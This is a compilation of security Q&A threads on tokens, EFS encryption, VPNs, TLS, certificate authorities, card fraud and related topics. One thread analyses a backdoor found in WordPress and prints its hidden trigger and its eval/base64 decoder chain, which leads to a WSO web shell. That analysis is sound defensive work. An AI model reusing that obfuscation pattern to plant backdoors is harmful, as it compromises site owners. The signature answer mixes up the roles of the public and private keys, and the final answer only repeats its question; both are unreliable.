Token FIPS 140-2 level 3 with support for Android, iPhone and Web I'm testing a SafeNet 5100 token FIPS 140-2 level 3. It comes with programs to access and manage it, but only for desktop machines.

I would like to create applications that use level 3 tokens. Is there any level 3 token that provides access from Android, iPhone and web pages?  For example Nano Ledger provides apk library, and web pages access, but it's not FIPS level 3.

I would like to create multiplatform apps using digital signatures from secure tokens.

Thanks in advance

The 5100 Token's are small USB sticks which when plugged into a Desktop which be are accessed via SafeNet's Authentication Client. We use them for internal CA Authentication and they ... need to improve upon the Availability in the C-I-A triad.

Phones don't have USB so if you looking for Token-based Authentication for Mobile, 5100 are not the way to go. There are a few ways to try and tackle this they are very similar in nature, but depend on the type of developer you are.

Cloud Based Key Management

AWS has KMS (Key Management Services) and you can look at the details here. They are FIPS 140-2 Level 3 compliant and provide an API for you access the KMS. This is probably the most flexible and easiest to implement, but also requires a higher levels of developer knowledge to do it right.

Cloud-ish Based Key Management

Gemalto, your SafeNet provider, has their Trusted Key Management, which is similar to AWS. Difference being you build out your infrastructure for handling mobile apps. The premise is pretty similar, except your IT team is now responsible for HSM and it's FIPS 140-2 Level 3 implementation. I haven't used this but I believe the mobile Trusted Key Management is just an app on your device that connects back to your infrastructure.

Other in the field I am sure do similar, I figure if your using SafeNet you might have relationship with Gemalto.

DIY Development

Don't do this. I don't need to explain this.


Found this weird code in my Wordpress under wp-includes I found the following code in my Wordpress application, but I am not even sure in what is decoded. The first part of the file looks like this:

<?php

// Preventing a directory listing
if(!empty($_SERVER["HTTP_USER_AGENT"])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");

    if(preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) {
        header("HTTP/1.0 404 Not Found");exit;
    }
}

And the following part of the file looks like this (I posted it on gist because it would not let me put it here because it is too long): https://gist.github.com/anonymous/3ea604a58af688b11ef5

Could you guys help me to understand what this is doing?

This definitely is something that the author did not want to looked at. Even the gist at Github looks like just the nine lines of code you’ve posted here. Just a script to avoid directory listing …

But only on first sight. Because if you look closer, the last line is enormous 91959 characters long with a lot of whitespace after the initial }.

The whole additional code is wrapped in an if statement:

if (isset($_GET[str_rot13(pack("H*", "667265707267"))]))

This checks whether $_GET['secret'] is set. The code within the if block is basically a variable holding the actual payload ($_X):

$_F=__FILE__;
$_X="…";

And a decoder:

eval(base64_decode("JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPXN0cl9yZXBsYWNlKCdfX0ZJTEVfXycsIiciLiRfRi4iJyIsJF9YKTtldmFsKCRfUik7JF9SPTA7JF9YPTA7"));

Using echo instead of eval results in:

$_X=base64_decode($_X);
$_X=strtr($_X,'123456aouie','aouie123456');
$_R=str_replace('__FILE__',"'".$_F."'",$_X);
eval($_R);
$_R=0;
$_X=0;

After another decoding step, the actual payload is decoded and reveals a WSO Web Shell version 2.5 with 2ef1d6430bce32d929d13a00fe281be8 as the MD5 hash of the password.


How difficult is it to brute-force Windows EFS encryption? With EFS I have C:\$USER\ encrypted so all files owned and used by said user are encrypted.

If this laptop is stolen, am I correct that they could pull the microsoft user password hashes, crack them, then decrypt the files?

Unless things have changed, Microsoft account passwords aren't encrypted with a strong hashing algorithm, correct?

It depends on how EFS is set up, and what version of NTFS you're using. For the purposes of this question, I'm going to presume a modern version of NTFS (i.e. >=3.0) on a modern operating system like Windows 8.1 or 10.

In a single-user environment outside of a domain, by default, files are encrypted in a 3-stage process. First, a random File Encryption Key (FEK) is generated and used to encrypt the file with 3DES or DESX. This key is then encrypted using a user-specific asymmetric key pair, and this encrypted key is stored in the file's metadata. The asymmetric key pair is stored on-disk in an encrypted form, using a key known as the DPAPI Master Key.

The DPAPI Master Key is derived from a combination of the user's NTLM password and their SID (unique identifier for the user). When I say the NTLM password, I mean their logon password, not the NTLM hash of their password. The EFS master key is derived using the Password Based Key Derivation Function (PBKDF2), which is sometimes referred to as "RFC 2898 derivation" in the documentation. This master key is not only used to store the EFS asymmetric key pair, but also any at-rest data protected by DPAPI.

Since the DPAPI key is derived from the user's NTLM password, cracking the NTLM hash gives you the information you need to derive the DPAPI key, which would allow you to decrypt the EFS asymmetric key pair, which in turn allows you to decrypt the $EFS streams which hold the FEKs, which in turn again allow you to decrypt file data. There are off-the-shelf tools for doing this in a forensic capacity.

However, there are other environments and configurations for EFS. For example, in a domain environment, it is possible to have EFS-protected files accessible from multiple users using domain-backed encryption certificates. In fact, even in single-user accessible EFS files, the EFS asymmetric pair can be domain-backed, allowing for EFS encrypted files to be accessed from any terminal regardless of where the file was initially encrypted. It is also possible to place either the DPAPI master key or the the EFS asymmetric key pair for a user onto a smart card, thus bypassing the need for storage of them on disk at all. These configurations complicate the situation beyond the simple case of "crack NTLM and you get the EFS files".

Additionally, if you use BitLocker disk encryption, your DPAPI master keys can be encrypted using the BitLocker keys too, allowing them to be secured with a device such as a TPM, which can have additional authentication requirements (e.g. smart cards) before the keys are unlocked.

It should also be noted that, upon login, the system stores a cached copy of the DPAPI master key in memory in order to access certain encrypted memory segments and, of course, the EFS asymmetric key pair. If you're on a running system with administrative privileges, you can use a number of tools to dump the EFS keys, DPAPI master key, and LSA protected areas. This obviates having to crack the NTLM password at all.


Adaptive vs dynamic network security In the context of network security, when we say adaptive network, what does it really imply? In other words, what does an adaptive network do to be adaptive? Is it similar to saying dynamic network?

Thank you

To my knowledge, there is no difference in terminology between "adaptive" network security and "dynamic" network security. It is safe to believe that both reference the same thing.

Adaptive security, or real-time adaptive security, is a network security model that is able to respond to changes in and attacks against the network without human intervention. This is oftentimes implemented by utilizing communication between different security devices on the network. Here's an example.

Let's say an attacker attempts to send an exploit to a web server. An IDS on the target network is able to detect and stop the attack successfully. The IDS could then communicate with the firewall and tell it to block all incoming connections from that IP. This way, the attacker is locked out of the system completely and effectively blacklisted without the need for human intervention.


How does a password authentication over a TCP protocol actually work? When coming up with a password based login protocol, many solutions come in mind:

User sends password in plain text. Compute hash on Server, compare to hash in database. - Bad because attacker can intercept credentials
User sends hash of password, server compares hash to hash in database. - Bad because attacker can intercept hashed password, which is just as good as credentials.
Server sends user a temporary salt, user computes normal hash, then sends salted hash of original hash to server. Server gets original hash from database, computes salted hash and compares. - Bad because if the hash database leaks the attacker doesn't need to crack hashes
Set up a secure connection (e.g. SSL/TLS), then proceed as in 1) - Bad because all the work done on server
Set up a secure connection (e.g. SSL/TLS), then proceed as in 2) - Bad because if the hash database leaks the attacker doesn't need to crack hashes

I would guess that number 4) is the way to go. Is that correct or are there better ways?

P.S: When I write "hash" I mean a moderately expensive hash function such as 100'000 iterations of sha256.

Secure Communication
The communication protocol must be secure.  If the communication channel is insecure then the authentication is insecure.  TLS/SSL is one way to secure the communication protocol.  If you don't use TLS/SSL you would need to build a framework to build a secure communication protocol over an insecure link.  If done properly (authentication of server, authentication of client, secure key exchange, encryption, message authentication, robust handling of downgrades, etc) the protocol would be complex.  For all practical purposes you would just end up reinventing TLS/SSL.
So as written only #4 and #5 are secure and for most applications #4 should be the primary choice.  This isn't to say you must always use #4 but you should be able to clearly articulate why in this scenario #4 is inferior to an alternative.
Zero Knowledge (deniability)
A variant of #5 can be useful in niche applications where zero knowledge or deniability is a core design requirement.  Understand that is adds additional complexity so if you don't need deniability you are building a more complex system without improving security.  Higher complexity means higher cost and greater possibility of introducing weaknesses which can be exploited.
An example of where zero knowledge authentication would be useful would be an online backup service.   If the server has the encryption keys the service can be forced to reveal them (potentially covertly and without due process).  If the server never has the encryption keys then they can't be forced to reveal what they don't know.
The raw file encryption is pretty straightforward.  The encryption key is generated from the user's password by using a KDF.  Files are encrypted client side and transmitted to the server.   The server never has the user's password or encryption key.  The challenge is how to authenticate the user (for verifying account status, billing, allowing uploads, etc).  The default process of the user sending the password (#4) defeats the client side encrypting of data.  So the site could have the user take the password hash it client side and supply that to the server.  The hash should be produced differently from the encryption key (same kdf but different number of rounds or same password but a static prefix).   One improvement over what you laid out would be that the server doesn't have to store the user's authentication hash directly.  The server can store a hash of the hash which would prevent false authentication even if the password list is compromised.
Asymmetric Cryptography for Authentication
An option not listed would be to use an client side certificate to authenticate the client.  The cert creation, management and secure storage/backup needs to be done completely client side or there is no point.  The private key can be encrypted with client side password for additional security.  TLS/SSL supports client side certificates so if this is a design requirement I would start there rather than reinvent the wheel.  One advantage of ECC over RSA is it is more friendly to low powered and memory constrained devices like smartcards so this is becoming a more realistic solution although user education is still a challenge.


Blocking Business Email Compromise (BEC) emails I am recieving phishing emails like the one depicted below, with the sender being
a legit member of our organization. How can I block this kind of email? What should be done? Is malwarebytes capable of detecting the issue?

If the sending account uses an alias that is an internal account, then it is easy to detect and block.

From: Ali@example.com <bad@evil.com>

Each server will have their own methods to do this.

If the external server is spoofing an internal email, then you need to employ SPF, DMARC, DKIM.


Can my company track my laptop if I've reinstalled the operating system? I was given a laptop by my company. I reinstalled everything and now I occasionally open Whatsapp web in the background to reply to messages. Most of the times my laptop is connected to the Company's Wifi. I wanted to know if they can see my Whatsapp texts or not?
Note: They've provided me an OpenVPN to access the Database server, which I often use while working. However, I also have an option to use Amazon Workspace instead of that VPN. Which option will suit me best in terms of security?
My major concern is that if they can read my text, emails and if they can track my location.

There are two questions here.
First of all, just because you reinstalled everything (that is, format the disk and reinstall the OS) doesn't guarantee that the computer will be free of any persistent rootkit (think Computrace).
Besides, the computer may be connected to a corporate domain, meaning that when you're logging in to that domain, policies may kick in and install stuff in the background as part of the normal corporate software update/provisioning scheme.

Most of the times my laptop is connected to the Company's Wifi. I
wanted to know if they can see my Whatsapp texts or not?

As long as you are visiting HTTPs sites the traffic is encrypted so they can't see the messages in clear. But they still can see lots of things, plus many types of traffic like DNS are typically unencrypted so anybody who is sniffing on the wire can figure out the patterns of your online activity, like what sites you visit.
If you are curious you can install Wireshark on your computer and sniff your own traffic to better understand the data that is flowing out of your network interface.


What security protocols provide point-to-point confidentiality? Am I right in thinking that VPN doesn't protect until you're out onto the external network (assuming you're connecting from within an internal network)? Or does VPN provide confidentiality from the user's machine because the encryption is done using the client software?

Im trying to understand if I was on part of an internal network and I wanted to connect out, via an access point, what protocols would I have to use to ensure I had full point-to-point confidentiality? I thought I read somewhere that the VPN would not cover me across the Access Point and so the data would be visible to a network admin?

Sorry- so confused!

A VPN can connect machines or networks.  Depending on what's being connected, it may or may not provide end-to-end confidentiality.  There are three basic types of VPN: net-to-net, host-to-host, or host-to-net.

If your company has two offices, it might have a net-to-net VPN.  Each office has a VPN gateway, and when you connect to a server on the other end, your traffic crosses your office network unencrypted, is encrypted at the VPN gateway, is protected across the Internet, is decrypted at the remote-office gateway, and crosses the remote-office network unencrypted.  In this case there isn't end-to-end confidentiality; the traffic is unencrypted within the office networks.

On the other hand, two computers could both speak IPSEC, and could connect to each other in a host-to-host VPN.  This would protect traffic across the entire network path.  However, this is not a common configuration because lots of host-to-host VPN configurations require a lot of management.

The most common configuration is host-to-net.  For example, you might use a VPN client on your computer at home to connect to a VPN gateway at your company's network.  Traffic is encrypted leaving your host, but is decrypted by the VPN gateway and then crosses your office network unencrypted.


How does the digital signature verification process work? I am not able to understand that how the digital signature is verified. I know that digital signature will be attached to the message and sent by sender to receiver. then receiver uses  the public key is used to verify it.  Here are my questions:

where did this public key come from?
and how it is distributed to the receiver?
how the public key is identified for the specific digital signature?
and what is the role of the certification authority in this process?

OK, the answer so far are fundamentally on track, but I'm going to try to take your questions as they came in:

* where did this public key come from?

A public key is part of a key pair used in asymmetric cryptography. There are many encryption algorithms out there, but boils down to a public key and a private key which are mathematically linked.  They can be used this way:

Encrypt(public key, original data) -> encrypted data

Decrypt(private key, encrypted data) -> original data

The nature of the mathematical relationship between private and public key are related to the cryptographic algorithm and quickly become a good topic for Math Overflow. :)

The pivotal part is that their is a pair of keys that were generated together.

Next, to deal with a digital signature, the sender sends:

the original data, the encrypted data, the public key, and information about how to verify the signature (for example, what algorithm is being used)

The verifier performs the Decrypt operation above and compares his output with the original data.  If the two are the same, he knows that the message was not tampered with, because only the sender has the private key, and there is no reasonable way to determine the private key from the public key.

taking this a little bit out of order...

* and what is the role of the certification authority in this process?

Anyone can make a private/public key pair.  It's a pretty easy task, given today's toolkits.  So giving you my public key, along with the encrypted data and signature as described is just about as trustworthy as giving you a business card that I had printed at Staples for $50.  To really trust that I am who I say I am, and am therefore trust worthy, you need someone to sign off on my identity (like checking a driver's license).

That's the Certificate Authority's job (CA for short).  The CA has it's own key pair - and it uses it's private key to sign a digital certificate for the key holder.  The certificate includes the public key, as well as a bunch of information about the person or thing holding this private key.  This is like my government making me a nice looking id with a picture that can't be easily faked without special equipment - you can believe my information because you trust the government...  no because you trust me.

Usually when a system verifies a signature, it not only checks that the encrypted data matches the original data, but also that a certificate that vouches for the identity of the public key holder is also properly signed by a trusted source.  Usually CA systems are organized in chains of CAs that originate from a Root.  A collection of the more prominent root CAs (which are self-signed, ie, signed by their own private keys), can be found in your browser.

For highly secure systems, additional checks of up to the minute status information can be performed.  It all depends on how important it is to be absolutely sure of the sender's status.

* and how is it (the public key) distributed to the receiver?

Double checking here - do you mean the receiver of the certificate or the holder of the key?

The sender (key holder) can get a key pair and a certificate in a variety of ways.  The simplest way is to make them locally, and then apply to the CA for a certificate, submitting the public key data.  In other cases, keys may be made centrally and distributed by secure channels to the key holders.

In most signature cases, the key pair are made by the key holder, because it limits the potential that the private key is exposed.

When a signature is created and sent to a recipient, it is typical for the public key to also be attached to the message (for example, a standard for this is XMLDSIG where one optional field in the element is a digital certificate, which includes the public key).

In cases where bandwidth is an issue, the public keys may be held in a central repository - like an employee database, or often an Active Directory or other LDAP server.  Then the signature can reference the sender's identity and the verification process can include a request to the repository to retrieve the public key.

* how the public key is identified for the specific digital signature?

Usually through a digital certificate.

When the sender goes to create a digital signature, he typically has rules associated with what key pairs he can use for what purposes.  In the X509 certificate standard, certificates identify a Key Usage field that spells out specific purposes for the key pair described by the certificate.  One of those uses happens to be Digital Signature, and many software systems won't let you create a signature without that setting in the certificate.

The CA actually determines these settings before it signs the certificate.  In many security policies, certain key usage settings cannot be granted without specific authentication processes, so the responsibility for figuring this out rests on the CA and the people in charge of it (typically RAs, Registration Authorities).

If, for some reason, you have a system that does not use digital certificates, there may be other ways to determine what key pair.  In the end it comes down to the security policies in place and what is deemed appropriate for the given activity that required the signature.


Vulnerability testing without the use of exploits? I was doing some testing on a server to see if it was vulnerable to a 0-day local exploit (the exploit was for gaining root privileges using a bug in the Linux kernel). There was no real information yet on how to know if your vulnerable or not except by running the exploit. Which I did and ended up getting a heap of trouble from the data center for doing so. With this being the case, what is the best way to check to see if your vulnerable? Can one assume that there will be a fix released for the vulnerability before they get hacked using the exploit (even with a hardened server)?

I would consider 2 possible approaches - I note that you are trying to verify an exploit for escalation of privilege exploiting a bug in the kernel.  For the sake of the experiment, I would ignore user space software even though this is probably a bad idea.

Approach #1 assuming that you may need access to data on the server in question, I would install a VM with the exact version of the Linux distro and kernel in question and try out your exploit.   The VM will effectively sandbox the server from the real host and if you do succeed in crashing the VM - no harm done.

Approach #2 assuming that there are no data dependencies - I would install a VM with the same distro and kernel on any other Linux box you might have in the shop and try out your exploit.

If this is an important machine and your organization has assets worth attacking I would not make any assumptions regarding patches becoming available and being applied before you were attacked.

OTOH - if the machine is not mission critical and the general state of the server farm security countermeasures is good (machines patched regularly, firewalls maintained properly) - I would reduce your level of concern and take the time in the lab


Should I use ReCAPTCHA v2 or v3? I've seen lots of SO posts and other articles on the internet about the differences between Google's ReCAPTCHA v2 and v3, but I'm not sure which one I should use. I'm looking to protect my website's sign up page (React frontend + Node.js backend). Which version of ReCAPTCHA should I choose? I feel like I've seen v2 in more places than v3, but then again, v3 is hidden... What are the security benefits of both versions like? Are websites less secure or considered "older" if they use v2?

Edit: The reason I ask, instead of just going with the newer one, is because I see a lot of sites still using v2.

While the other answer describes the different types of reCAPTCHA that Google has, it does not address what I think may be the real issues. As I was wondering about this myself, I came across this article. I summarize what I think is relevant:

According to tech statistics website Built With, more than 650,000 websites are already using reCaptcha v3; overall, there are at least 4.5 million websites use reCaptcha, including 25% of the top 10,000 sites. (as the 27th of June, 2019)

The data is changing quickly, right now some 2,602,509 sites seem to be using v3.
Also relevant, v3 works better if its code is installed in all web pages of a site. This means less user privacy. Although Google states that:

reCaptcha’s API sends hardware and software information, including device and application data, back to Google for analysis, and that the service is only used to fight spam and abuse.

So:

Google reCAPTCHA v3 is easier for the users, but as more sites use v3, more will be the information that Google has about them, as tracking a user across sites that use v3 is technically possible.
Google reCAPTCHA v2 takes more work for the user, but seems to be less intrusive regarding privacy.
v3 seems to be gaining momentum quickly.
Google seems committed to maintain both v2 and v3 in the future.

Regarding safety, I can tell from experience that v2 does not stop all spam. This is probably due to spammers using CAPTCHA farms (real people solving the bot's problems.) I don't have that much experience with v3.
So IMHO, I would go for v3 (already widely adopted) unless maximum user privacy is a must. But if you are using Google Analytics to measure a site's traffic, using v2 for added privacy may be irrelevant.
Any comment regarding safety of v3 from a trusted source or site experience will be appreciated!


Multiple Sessions in one SSL connection Usually, one SSL session is used by many connections. I was reading about SSL while I encountered something interesting. It said that:

  In theory, it may also be possible that multiple sessions are shared by a single connection.

I tried to look more about this online but, was not able to find something good enough to explain how, when and why this can be done.
It also said that this feature is not used in practice.
If it is not used then why was it allowed in the first place?
How can multiple sessions be used in a single connection in SSL and what is its significance?

In theory, it may also be possible that multiple sessions are shared by a single connection.

This is true, but not at the same time. Instead an active SSL session inside the connection can be replaced by a new session using renegotiation. Renegotiation is required if the sequence number of a TLS session would wrap (i.e. after 2^64-1 SSL frames) which is unlikely in practice. More common is a renegotiation of a session without client authentication to a session with client authentication (i.e. client certificate). This can happen in HTTPS if only some parts of the site require client authentication and the browser tries to access some URL which requires such authentication while already having an established connection.

Multiple SSL sessions after each other inside the same TCP connection can also happen if after the TCP connect there is an SSL handshake followed by an SSL shutdown  later and then again an SSL handshake inside the same connection. While uncommon it can be done in FTPS where AUTH TLS is used to initiate an upgrade from plain TCP to TLS and CCC is used to initiate the downgrade from TLS to plain TCP.


How does CVE-2014-9390 affect me? On 18th December, a vulnerability in git and mecurial was announced.

What are the details of the vulnerability?
Does it affect me?
What should I do?

What are the details of the vulnerability?

Git stores repository metadata in a .git sub-directory. This includes git hooks that allow custom scripts to be run at various points in the git workflow. Git normally does not allow any files in this sub-directory to be committed.

However, sub-directories like .Git on can be committed into the repository. This vulnerability arises because operating systems with case-insensitive filesystems (such as Windows or OS X), will treat the two sub-directories (.Git and .git) as equivalent and will overwrite .git with the contents of .Git. This results in an attacker being able to execute arbitrary code by tricking users using operating systems with case-insensitive filesystems into cloning a maliciously crafted repository.

  Does it affect me?

The vulnerability only works on users using case-insensitive filesystems. This include most Windows and OS X users.

Pulling repositories from GitHub is safe because GitHub now blocks repositories from containing the malicious exploit.

  What should I do?

As with all new vulnerabilities, upgrade the affected software. This means upgrading to versions v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, and v2.2.1 of git depending on which maintenance branch you are using.


Why does a 20-character key make WPA Personal more secure? Can someone tell me why a 20-character key makes WPA Personal more secure? That really confuses me.

The WPA2-Personal password is run through an algorithm that is used to scramble the internet traffic being broadcast in radio waves. This is a process known as encryption. Anyone who knows that password can run the scrambled data through the encryption algorithm in reverse to de-scramble it. Although a human might be able to try a new password once every few seconds, a computer could guess possibly millions of passwords per second. More characters in your key makes it less likely that a computer could guess your password in any reasonable amount of time.
If someone manages to guess your password, either manually or with the help of a computer, they might be able to monitor things you do online for as long as they are in range of your Wi-Fi connection. They may steal passwords or bank details, or insert malicious scripts into websites you visit.


What tools are available to identify which country a specific IP address is located in? In trying to identify the country a user logs in from, or to block country ranges for whatever reason (for example regulatory requirements) what tools, whether online or offline, are available?

Use whois:  http://tools.whois.net/whoisbyip/

Or/and you can try IP address geolocation services, like:

  http://www.ip2location.com/
  http://www.digitalenvoy.com/
  http://www.maxmind.com/app/ip_locate
  http://www.ip2country.com/
  http://www.hostip.info/
  http://www.atelierweb.com/iploc/
  http://www.ip2country.net/
  http://www.quova.com/


Sign contents of entire computer? If I travel abroad and am concerned that when I land in the foreign country they may try to install a digital keylogger, does this work as a potential solution: If I sign my entire computer's hard disk using for example Keybase's code signing mechanism for directories (I know there are lots of issues here, just bear with me for a second) would this a reasonable method to know that no digital keyloggers or other malicious software are installed? Of course it would not resolve the issue that if (for example) I leave my computer in my hotel room someone may install a physical keylogger or other malicious device in the hardware itself, but I would know for example that none of the data on my computer was tampered with or altered.

Some other issues with this approach are that it would take a long time to compute the signature of literally every file on your computer, and also that in the general scheme of things actually using your computer, the size and contents of files (esp. system files) can change at any time behind the scenes.

My suggestion, if permitted in the country you are traveling to (there may be some export control issues, depending on the destination), full disk encryption (FDE) would be the way to go. Without the master password, no alterations can be made to the encrypted portion of the disk. This will not protect you from physical tampering of your device, as you mentioned, but seems to meet your requirements to prevent someone from installing a digital keylogger. Plus, prevention is a lot more secure than detection. Just make sure the device is completely powered down when not in use.

There would be a small risk, as the boot portion of the drive would have to remain unencrypted... there could be some attack vector utilizing that, but it would require money, skill and determination to pull off without detection (if they overwrite the wrong byte, you drive isn't booting up). So for the average person, the risk is minimal someone will go through that much effort.

EDIT: Another risk to consider, FDE would not help if someone exploited your PC over a network, and managed to get a keylogger running in memory. Make sure your PC is fully patched, have a host firewall installed/enabled, anti-virus installed, ect. It's not perfectly secure, but it helps mitigate the risk.


Why does the SSL/TLS handshake have a client random? Note I have read Why does the SSL/TLS handshake have a client and server random? and the answer makes it clear why the server random is necessary. However, since the premaster secret includes the client random, it seems like including the client random with the premaster secret when generating the master secret is superfluous.

For ciphersuites based on a key exchange and a signature as proof of possession, the sole way the server proves its identity is with the signature in the server key exchange message. This signature is tied to the TLS session because the signed data includes the client random and the server random. Apart from the client random, everything is chosen by the server, therefore the client random is the only thing that prevents anybody else from pretending to be the server after observing a single message from the server. A client trying to contact the legitimate server has no way to know that the server random isn't being repeated by an attacker. The client random is how the client challenges the putative server to prove that it is legitimate.

Even for ciphersuites where the client selects the pre-master secret and the server needs the private key to decrypt it, without a client random, two requests to the same server (with the same options) differ only because they have different server randoms. If I record a valid session then I can replay it to any client. I might not know what I'm sending, but I can at least feed obsolete information to clients that make identical requests.


Using separate HAProxy and API tiers, how can I ensure a request came from HAProxy? I have two machines and a HAProxy machine doing SSL termination and accepting client certs successfully. How can I configure HAProxy to ensure that the messages coming into the API box are from HAProxy itself, and not from a third party?

These machines are in the same subnet.
HAProxy does not (as I can see in the stable 1.5 release) allow any way for me to perform a concatenate and hash - i.e. I can not make a header that is
SHA1( CONCAT( Shared Secret+X-Unique-Request-ID))
I'd rather not upgrade to 1.6 development build (even though it has LUA scripting support)

Is there another avenue to go down to ensure that requests are coming from HAProxy and not a third party?

The obvious solution is to encrypt the connection between the haproxy and the webserver. Doing this using SSL means you are adding some latency to the connection and a processing -IIRC, haproxy implements a 1:1 connections between front end and backend, otoh ATS and some other proxies make more efficient use of a pool of connections to the backend. But assuming that switching to ATS is not an option...you might consider an authenticated VPN connection such as ipsec between haproxy and webserver, or simply block access to the port used by the webserver at the router (assuming that there's nothing considered hostile on the same subnet.


Does Google ensure that a packaged app is not tampered with? I'm wondering if a chrome app I upload to the Chrome Webstore could potentially be manipulated (even by Google itself) without users downloading the app noticing it.

I just downloaded a packaged app to check if I can inspect its source code but it didn't allow me to. Is this true for all apps? If the source is hidden, how can I make sure that the app is in its original state?

Edit: I'm not asking about a chrome extension. I know that those can be signed.

The packages are signed, any modification of the package would cause the signature to be invalid.

Only you the app creator has access to the private key file so no other person could modify your file then re-sign it either. In fact if you loose your private key file you can't distribute updates to your extension because extensions will only update from packages signed with the same private key it was originally built with.


Eavesdropping a communication between a local application and the network After some digging on the Internet, I've been unable to find a satisfying solution for my curiosity... Here's the thing : using a shell script, I've been able to obtain a list of IP addresses connected to my computer (ss), along with the names/PID of the applications (netstat -pn) listening for those connections (Skype, Chromium, and so on)

Once those applications have received data from a remote server, they "parse" it their way, and display it to me (HTML interpreted by the browser, conversations organised by the Skype client, ...), just as they should.

Here's where my curiosity comes in : I think it would be interesting to "eavesdrop" this data stream coming to the applications, in order to know how each of them communicates over the network (communication protocol, data structure, ...).

Do you know of any way there could be, to get an eye on this raw data, coming in to get processed by my applications ?

Try to install and use Wireshark network sniffer. It already know how to parse tons of protocols. And its ability to parse protocols can be expanded.


Why is the root in an Online CA model not a Single Point of Failure? My textbook for CompTIA Security+ has the following practice question:

  In which one of following PKI Trust Models is the root NOT a single point of failure?

  Single CA
  Hierarchical CA
  Online CA
  Self-signed

Now, I immediately dismissed Single and Hierarchical as wrong. I briefly considered Online, but decided that having the CA accessible would have no effect on the whether it was a single point of failure. Therefore, I finally chose Self-signed, because there's no single point of failure; each machine is its own CA (I overthink things sometimes). It turned out that I was wrong and that Online CA is the correct answer.

Why is that? How does having the root CA be online make it not a single point of failure? Isn't online vs offline tangential to the question of whether the CA is a single point of failure? Is there another meaning for "Online CA" besides having the root be accessible for certificate-related tasks?

The way the question is worded, there is a root. Therefore, you should have dismissed self-signed because there is no root in self-signed. That's the "obviously wrong" option (using the 4-option model of obviously wrong, 2 almost right, and right/more right).

Online CAs include the idea of redundancies and a distributed chain.


Using a simple 5-character pass for event vs. QR/barcode I plan on doing a "ticketing" system, where a user would buy a "tour ticket" online. The part that I'm puzzled about is: After they buy, what mechanism to use to verify the ticket?

I've been looking at how platforms like EventBrite, TicketMaster, and they use either QR code or bar-code. But I think for something like my tours (where I don't expect more than 1000 people at a time), is an overkill. Why not just use a simple 5-letter combination, with 26^5 combinations, like GFTLH? Is there any disadvantage of doing this from a security perspective vs. a barcode?

The only reason I see these platforms using QR/barcodes is the sheer amount of ticket (millions they sell). Using a simple 5-character code provides some advantages like:

a) Bigger % of people will be able to verify the code. Even people with dumb phones, I could make a system where they just SMS the code and get an SMS in return if the code is valid.

b) Since the code is more "portable" (everyone with a piece of pen can write it), there are options like: Create printed cards with a placeholder for the code, and just have the buying/filling instructions on the card. This is impossible to do with a QR code (and is very cumbersome with a barcode). So basically, I could then distribute those cards to various venues. It's like "your placeholder ticket you can activate online whenever you want".

But my ques was, is there any disadvantage from a security perspective, considering these factors? It's a bit weird to me, I haven't seen any ticketing platform (even self-hosted ones) use this system, they use all use ticket/QR codes vs. convenient pass-phrases.

If there's any advantage on breaking your system, someone sooner or later will break your system.

There are not a big difference between generating and managing 5 digit codes versus 64 digit codes. So going with 5 or 64 is the same amount of work. The main difference is the difficulty of bruteforcing 5 or 64 digits.

You could create a structure like that: TICKET_ID:EV_ID:CHECK

Where, for example, TICKETID is 8 chars, EV_ID is 3 chars, and CHECK is 5 chars, with 16 bytes total. CHECK must be calculated using a digital signature, and truncating the result to the first 5 digits. You can make it all caps, and avoid using the numbers 0 and 1, and capital O and I, because they are easily mistaken one for the other with certain fonts.

So the ticket ABCDE456AAA23F78 would be:

Ticket ID: ABCDE456

Event ID: AAA

Check: 23F78

When generating the new tickets, you must hash the ticket ID and event ID, and digitally sign the result. When checking the validity, don't just hash and verify. You must verify if the ticket ID is exact 8 chars long, the event ID is exact 3 chars long, and then hash and check. Verify if the avoided chars are present too. Doing this, the probability of a collision is lowered.

Upsides:

Small QR-Code
16 digits are easy to write down
Confusing chars removed
Dumb phones can check the validity
Difficult to forge
Checking the code can be done offline, with a small Javascript powered HTML page

The main downside is the small check length. 5 digits is not very difficult to crack, but you can increase this size to a full 64-byte signature.

Using this scheme you can create around 33 million tickets per event, and create 10 events per week for the next 63 years without using all event IDs.


EMV as authentication technology and not a data security technology I'm trying to wrap my head around what I view as EMV chip card security loopholes.

Here's what I'm told about EMV. If a transaction is being recorded maliciously by a third party, they will get your account number, but:

they will miss info required to create a magnetic stripe card
they won't obtain the CVV [or the iCVV replacing the CVV] required to make online purchases

My questions: 1. how will any info be missed? what's stopping a mag stripe card from being created? & 2. if that's true, how isn't card-not-present fraud largely being prevented by protecting/withholding the CVV? Why all this talk about how online channels will see an uptick in fraud?

Thanks!

Questions provoked by:
http://nicolas.riousset.com/how-does-emv-encrypt-contactless-transactions/ & http://www.firstdata.com/downloads/thought-leadership/EMV-Encrypt-Tokenization-WP.PDF

1: Since EMV uses dynamic CVVs, a CVV of a recorded transaction is useless, since its spent. Thus they lack the complete info to create a (functioning) magnetic stripe card. However, doing a fake transaction might give a working magstripe card. But that magstripe card will only work a single time, and not work after the cardholder does any legit transaction, and then the bank will immediately detect the out-of-order iCVVs and thus block the card.

Also the frauster needs to be able to predict certain random numbers, which in some cases might be predictable due to terminals lacking good RNGs.

2: Different CVVs are used for different purposes, eg one CVV for CNP transactions, one CVV for magstripe transactions, one dynamic CVV using keyA for Contact chip transactions, Another dynamic CVV using keyB for RFID transactions.
This allows the bank to differentiate by different transaction types.

All POS transactions are recorded differently from all online transactions, HOWEVER:
Some webstores process their transactions as POS transactions. That causes the system to accept the transaction anyways.

Some retailers also do not require CVV, sometimes this is retailers that do not put a authorization hold on the account when first setting up a stored card to account, and since its prohibited to store CVV in ANY WAY, they don't ask for it since they have no means to verify it without charging the card. They allow you to set up the stored card.
Most reputable companies instead ask for CVV when storing the card, and then charge like 1$ to the card to check if the card does actually work and then adds this amount to your account on-site. This does however put off some customers.


Fraud prevention on online transactions We operate an e-commerce website, and we're facing some big problems with payments. Very often, some customers get credit card data and use those in our store. So when the real credit card owner gets their bill, they cancel this transaction, and we lose the money and the products.

We don't have access to the customer's card number, this is fully controlled by Cielo.

Any thoughts on how we can prevent this situation?

Any thoughts on how we can prevent this situation?

